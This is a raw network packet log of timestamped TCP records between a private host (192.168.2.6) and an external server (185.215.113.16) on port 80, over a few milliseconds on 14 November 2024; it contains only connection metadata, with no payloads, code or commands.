Nov 14, 2024 17:24:39.841538906 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841548920 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.841548920 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841558933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841571093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841581106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841592073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841602087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841605902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.841613054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841622114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.841643095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.841643095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.841741085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.842298031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842308998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842319965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842330933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842341900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842351913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842361927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842372894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842382908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842394114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842405081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842417955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842417955 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.842427969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842438936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842449903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.842473030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.842488050 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843236923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843249083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843259096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843269110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843278885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843282938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843290091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843298912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843310118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843322039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843327045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843338013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843338966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843348026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843358994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843385935 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843524933 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.843826056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843837023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.843878031 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.847728968 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853183031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853193998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853204012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853245020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853245020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853334904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853344917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853354931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853367090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853426933 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853426933 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853599072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853724003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853734970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853744984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853756905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853768110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853777885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853785992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853789091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853799105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.853806973 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853827953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.853827953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.854608059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854619026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854629993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854641914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854651928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854660034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.854662895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854674101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854685068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854686022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.854696035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854706049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854717016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854727030 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.854732037 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.854753017 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855262041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855273962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855283976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855360031 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855360031 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855376005 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855386972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855396986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855410099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855421066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855426073 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855432034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855441093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855452061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855457067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855463028 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.855493069 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.855557919 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856336117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856347084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856358051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856369019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856379032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856389999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856398106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856400013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856410027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856420040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856421947 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856430054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856440067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856441021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856451988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856451988 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856462002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.856487036 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.856530905 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.857242107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857253075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857261896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857266903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857271910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857280016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857287884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857299089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857307911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857316971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857325077 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.857326984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857336998 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.857367992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.857367992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.857386112 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.858145952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858156919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858166933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858177900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858187914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858198881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858207941 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.858208895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858220100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858230114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858241081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858252048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858253956 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.858261108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.858273029 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.858282089 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.858382940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.859107971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859119892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859128952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859139919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859149933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859159946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859169960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859177113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.859177113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.859179974 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859190941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859201908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859203100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.859211922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859213114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.859224081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859234095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.859257936 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860101938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860114098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860125065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860136032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860146046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860157013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860167027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860172987 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860177994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860188007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860199928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860210896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860213041 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860222101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860230923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860269070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860786915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860799074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860807896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860817909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860829115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860838890 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860846043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860848904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860858917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860868931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860871077 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860878944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860881090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860889912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860899925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860903978 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.860910892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.860934019 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861077070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861649036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861660957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861671925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861681938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861691952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861704111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861715078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861720085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861725092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861735106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861746073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861749887 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861757040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861767054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861777067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861783981 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861784935 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861788034 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861798048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861809015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.861826897 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861856937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.861856937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862585068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862596035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862605095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862616062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862626076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862636089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862643003 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862646103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862657070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862667084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862677097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862685919 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862689018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862704992 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862715006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862716913 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862726927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862736940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.862742901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862742901 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.862833023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863518953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863531113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863540888 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863550901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863562107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863567114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863573074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863583088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863590002 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863594055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863604069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863610983 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863615036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863624096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863631010 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863636017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863646030 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863651037 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863660097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863671064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863673925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863682032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.863683939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.863737106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864305973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864315987 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864326954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864377022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864393950 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864578962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864590883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864602089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864612103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864620924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864634991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864655972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864661932 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864675045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864686012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864692926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864697933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864708900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864711046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864723921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864743948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864756107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864761114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864768982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864779949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.864783049 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864806890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.864993095 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865644932 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865657091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865667105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865679026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865689039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865699053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865710020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865715027 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865720987 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865731001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865741014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865741968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865751982 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865763903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865770102 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865771055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865775108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865787029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865797997 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.865828991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.865886927 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.866566896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866579056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866588116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866599083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866609097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866619110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866621971 CET	49830	80	192.168.2.6	185.215.113.16
